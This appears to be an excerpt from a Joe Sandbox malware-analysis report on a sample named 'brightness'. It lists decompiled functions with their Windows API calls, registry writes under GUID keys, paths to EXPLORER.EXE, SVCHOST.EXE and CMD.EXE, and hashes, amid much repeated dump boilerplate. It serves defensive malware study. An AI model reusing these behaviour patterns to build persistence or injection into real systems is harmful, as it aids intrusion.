Instruction ID: 318947a550ae0965b60622bd60a56524a697d0ca9f74a1ac9d6ffac752b398e4
Opcode Fuzzy Hash: 455c1576c4d92dc738d5dd7d7edb74f9bbfac318fe1008190372ce88718e9c26
Instruction Fuzzy Hash: 6021CBB2D50304A7C704DFB4ED4AF9E73BDAF54301F444424F5099B281EA31D914CB51

Function 002C9CE0 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowsDirectoryW.KERNEL32(8U,,00000104,?,002C5538,00000000), ref: 002C9CF2
__snwprintf.LIBCMT ref: 002C9D0E
GetSystemDirectoryW.KERNEL32(8U,,00000104), ref: 002C9D2E
__snwprintf.LIBCMT ref: 002C9D4A

Strings

%s\EXPLORER.EXE, xrefs: 002C9D00
8U,, xrefs: 002C9D66, 002C9D74, 002C9D2A, 002C9D38, 002C9CEE, 002C9CFC, 002C9CF1, 002C9CFF, 002C9D2D, 002C9D3B, 002C9D69, 002C9D77
%s\SVCHOST.EXE, xrefs: 002C9D3C
%s\CMD.EXE, xrefs: 002C9D78

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Directory__snwprintf$SystemWindows
String ID: %s\CMD.EXE$%s\EXPLORER.EXE$%s\SVCHOST.EXE$8U,
API String ID: 2322266053-1137208012
Opcode ID: 711b54eceebf699b1c8756e2a1defd4f4cb2211ed219910d9fa0f753e919369a
Instruction ID: 2a2b4851bdb92904f91287931c0d4ee710dba9816988171d888c7b047ea02099
Opcode Fuzzy Hash: 711b54eceebf699b1c8756e2a1defd4f4cb2211ed219910d9fa0f753e919369a
Instruction Fuzzy Hash: AE1133B1670245ABEB04FE50CC8DFBA3768AB45700F54452DFA1A5F184D6B0D9E0CB51

Function 002C9EE0 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 61registryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 002C9F00
GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 002C9F16
__snwprintf.LIBCMT ref: 002C9F3A
RegOpenKeyW.ADVAPI32(80000001,?,?), ref: 002C9F55
RegSetValueExW.ADVAPI32(?,{09BFD43E-2EE6-4681-8908-07206FCA7CB8},00000000,00000001,?,00000002), ref: 002C9F88
RegCloseKey.ADVAPI32(?), ref: 002C9F99
RegCloseKey.ADVAPI32(?), ref: 002C9FAD

Strings

{09BFD43E-2EE6-4681-8908-07206FCA7CB8}, xrefs: 002C9F7C
SOFTWARE\%s, xrefs: 002C9F29
{0D6172E3-C310-454B-A566-1C3CE2B77AB5}, xrefs: 002C9F24

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Close$FileModuleNameOpenValue__snwprintf_memset
String ID: SOFTWARE\%s${09BFD43E-2EE6-4681-8908-07206FCA7CB8}${0D6172E3-C310-454B-A566-1C3CE2B77AB5}
API String ID: 496817317-1219366795
Opcode ID: fd3a31ef0899ab79bc521220003ef3d413c31e99a9b44977fba9ce267a54c7ec
Instruction ID: 53e4732e011dc1a5db2a11aee0139f8cfdf5308ccc0cf06ceb79b3067bcc80a9
Opcode Fuzzy Hash: fd3a31ef0899ab79bc521220003ef3d413c31e99a9b44977fba9ce267a54c7ec
Instruction Fuzzy Hash: 1311C8B5A603146BD724DB60DC8DFE6737C9B44B00F40468CF619D6191EAB19A948F61

Function 002D76F0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 74windowregistryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 002D770B
RegisterClassW.USER32(?), ref: 002D772E
GetLastError.KERNEL32 ref: 002D7740
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 002D7797
TranslateMessage.USER32(?), ref: 002D77A5
DispatchMessageW.USER32(?), ref: 002D77AF
DestroyWindow.USER32(00000000), ref: 002D77BD
UnregisterClassW.USER32({7267DAED-7D7F-4C79-BD00-DA28FCF4E09D},00000000), ref: 002D77D5

Strings

{7267DAED-7D7F-4C79-BD00-DA28FCF4E09D}, xrefs: 002D771A, 002D776D, 002D77D0

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Message$Class$DestroyDispatchErrorLastRegisterTranslateUnregisterWindow_memset
String ID: {7267DAED-7D7F-4C79-BD00-DA28FCF4E09D}
API String ID: 442238783-3333110770
Opcode ID: 60c498fdf89dbf0f9dbff77cda4a92f9a2b9596dee7076d04b5636e8e83e9ffb
Instruction ID: 3d560c168820c105dbf7706ee6f6b2064ab9c6a3f875a01244269d0ad398b350
Opcode Fuzzy Hash: 60c498fdf89dbf0f9dbff77cda4a92f9a2b9596dee7076d04b5636e8e83e9ffb
Instruction Fuzzy Hash: 0F215075960204EFE701DFA0DC89FADB77DAB08701F10A41AE105B6290EBB45D16CB50

Function 002D79F0 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 181COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 002D7A48

Strings

G/, xrefs: 002D7AD9, 002D7AE7, 002D7A44, 002D7A50, 002D7A47, 002D7AEA
G/, xrefs: 002D7B03, 002D7B76, 002D7B06
h-G/, xrefs: 002D7ADF, 002D7ABE, 002D7A25, 002D7AE4
G/, xrefs: 002D7B41

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: G/$G/$G/$h-G/
API String ID: 4104443479-1393183937
Opcode ID: aed7e712eb5ff6a8612d1d8982ed459f90f57c6a63cd3863e7e984d03dad1d67
Instruction ID: 19781234004d81d7d6bdb9cfddd175237aeb404d276c8135dbab5c57adc35302
Opcode Fuzzy Hash: aed7e712eb5ff6a8612d1d8982ed459f90f57c6a63cd3863e7e984d03dad1d67
Instruction Fuzzy Hash: 4671EA74A1410AEFCB14CF98C491EAEB7B1FF58308F20855AE505AB341E775AE65CF90

Function 002CB3E0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 61registrytimeCOMMON

Download Yara Rule

APIs

__snwprintf.LIBCMT ref: 002CB3FF
RegCreateKeyExW.ADVAPI32(80000001,?,00000000,00000000,00000000,000F003F,00000000,?,00000000), ref: 002CB426
RegCloseKey.ADVAPI32(?), ref: 002CB438
_memset.LIBCMT ref: 002CB446
GetSystemTime.KERNEL32(?), ref: 002CB465
SystemTimeToFileTime.KERNEL32(?,?), ref: 002CB476

Strings

SOFTWARE\%s, xrefs: 002CB3EE
{0D6172E3-C310-454B-A566-1C3CE2B77AB5}, xrefs: 002CB3E9

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Time$System$CloseCreateFile__snwprintf_memset
String ID: SOFTWARE\%s${0D6172E3-C310-454B-A566-1C3CE2B77AB5}
API String ID: 3491885642-2887747857
Opcode ID: 606c2c4ff06dc42c6e83fd883bbe995c094a3e32489498ed1ab42ea3c837df4e
Instruction ID: a3e5c6c6bee2a080fc58513e3e27e002bc557a4c82bcb77081427c2341c68ba0
Opcode Fuzzy Hash: 606c2c4ff06dc42c6e83fd883bbe995c094a3e32489498ed1ab42ea3c837df4e
Instruction Fuzzy Hash: 9311AB71E6430977EB25DBB09C4BFFA733CAB04705F400A58BA05E6182FBB59614CB91

Function 002C4650 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 002C4670
__snwprintf.LIBCMT ref: 002C468E
RegCreateKeyExW.ADVAPI32(80000001,?,00000000,00000000,00000000,000F003F,00000000,000017FC,00000000), ref: 002C46B5
RegSetValueExW.ADVAPI32(000017FC,{D4C13668-5BB2-45CB-BED4-3819586C0538},00000000,00000003,003334D4,002C45E8), ref: 002C46D4
RegCloseKey.ADVAPI32(000017FC), ref: 002C46E2
RegCloseKey.ADVAPI32(000017FC), ref: 002C46F3

Strings

SOFTWARE\%s, xrefs: 002C467D
{D4C13668-5BB2-45CB-BED4-3819586C0538}, xrefs: 002C4678, 002C46CB

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
